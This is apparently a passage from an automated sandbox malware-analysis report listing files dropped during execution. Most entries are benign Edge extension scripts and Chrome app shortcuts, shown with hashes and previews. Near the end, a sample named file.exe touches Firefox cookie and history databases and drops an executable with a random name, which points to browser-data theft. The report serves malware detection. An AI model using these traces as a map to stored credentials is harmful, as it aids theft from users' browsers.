a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7604_994922954\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7604_994922954\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7604_994922954\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7604_994922954\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_994922954\c799700a-e8d3-4c85-8c64-c3f55140b87a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 17:58:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9789419850711423
Encrypted:	false
SSDEEP:	48:8in0dOsTDXbH+idAKZdA1oehwiZUklqehoxy+3:8SrsnJzy
MD5:	18D23A0D9E37BD115F2AADD049778638
SHA1:	10F2A41EE48B45FEB5F13DBC41C1DFE7BF92886F
SHA-256:	E4486DC60203CF9FCDE53B95D0CDB796E191D9D29B5645633CF6C69269A37506
SHA-512:	4B5D13F2F5097111F523DADED6830E8D03CBDC8C539F06B08A308D3FB454618081FA0026A935A9AB85EA7E8F91EAF9C406ADD1A2CA6A1FD361EE7253D9AE69DA
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....).WG<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IuYK.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYK.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYK.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYK............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYM............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............am......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 17:58:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9932603008301175
Encrypted:	false
SSDEEP:	48:8my0dOsTDXbH+idAKZdA1leh/iZUkAQkqehZxy+2:8Nrsnb9QCy
MD5:	1D66814CF23DC094180F9A3FB8AAA61C
SHA1:	2AA1671813DC5947D8580E2FDC0CDA7CA416D779
SHA-256:	FD6924CD675D22D91CA6A650C42819C3780AAF9050E04391E57E99C79B9A90B9
SHA-512:	7F62FBA9406F57987B8EBA2C0A658A8FEB420FDD57289B2492C6D065D4031A2665780CFDF50139319DE38AA1913597F64B7CECAA5583236A9C68E4069D6B4E7E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....x.WG<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IuYK.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYK.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYK.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYK............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYM............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............am......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005825813883635
Encrypted:	false
SSDEEP:	48:8O0dOsTDXbH+idAKZdA14t5eh7sFiZUkmgqeh7sXxy+BX:8OrsnLn3y
MD5:	15984DC5E0829EE95D2E644FC2134858
SHA1:	0B53ED57384CA2B5663993937C1CDE306171334C
SHA-256:	5414C1A4F53587B637E744AD7D01500D25914E16BAED587AEEDDC3E0A09FEB4E
SHA-512:	C03E6F05FA4A85CE72C7C922680BB17A20E9B12B685871D8EDE01FA6F567F4CC6DFF4D5DB376136170CD952610AAF013AFD4CE1FCDA97DD07EAF06FF29FF86DD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IuYK.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYK.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYK.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYK............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............am......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 17:58:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9918133296620932
Encrypted:	false
SSDEEP:	48:8Ho0dOsTDXbH+idAKZdA16ehDiZUkwqehdxy+R:8HorsnIpy
MD5:	B6CEB28169A87CD7455EC09CDD855A3D
SHA1:	574F507DE6033E301CDC7D3754941A4092779548
SHA-256:	320B026D9F3BD23CEEDB2604F6463B395838747511E4EE19ED6325DDF5F2CFE4
SHA-512:	23C6F9D7F936C95E9E00FDCDE2CFAA24454F9A21E62563A54F44051414095DB2FEA0D2A6DCF469338827E86F186817C9B7AC7097FD1AE767A6B875524D42340A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......WG<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IuYK.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYK.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYK.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYK............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYM............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............am......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 17:58:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.982963866208258
Encrypted:	false
SSDEEP:	48:8c0dOsTDXbH+idAKZdA1UehBiZUk1W1qehTxy+C:8crsnY9ly
MD5:	11E558A2FDCE0EBE98B780A6F3F042FA
SHA1:	52023F196990B0E8523E7DF9145AE35ABD6D141B
SHA-256:	940CF9368684E3FF4E8267374BDCC9A479DB034623D9E587603420BB993A8504
SHA-512:	1A26A0F5A8B2346C4445AAAD4E5F8038D47C5F8A1A7BD74A4600E2D3D896045B555D5F3F1747085348C4A26F3F410D89E4385259966F42298AD595E3021B8BC6
Malicious:	false
Preview:	L..................F.@.. ...$+.,......WG<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IuYK.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYK.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYK.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYK............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYM............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............am......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 17:58:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.989301289851985
Encrypted:	false
SSDEEP:	48:8k0dOsTDXbH+idAKZdA1duTrehOuTbbiZUk5OjqehOuTblxy+yT+:8krsn1TYTbxWOvTb3y7T
MD5:	D367F70C2575E0D2E21301C1C4B102AC
SHA1:	4132C7B13AC2065E09337F3ABE46AC70CB68AF06
SHA-256:	71A7193CB749129E6C89EF8FA66B05882C2E6A116BEF1CD036DABD9514FBAF89
SHA-512:	30F14F90B3AA8AC1F11D1F82CD4F1DEC84D5FA52CE2A8195180CC9CE5A03249E76DA61F36DF492883313519E158C8F07A241BB478806895C8622AB1219BB46CA
Malicious:	false
Preview:	L..................F.@.. ...$+.,....t..WG<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IuYK.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYK.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYK.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYK............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYM............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............am......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFIJKEHJJDA.exe

Download File

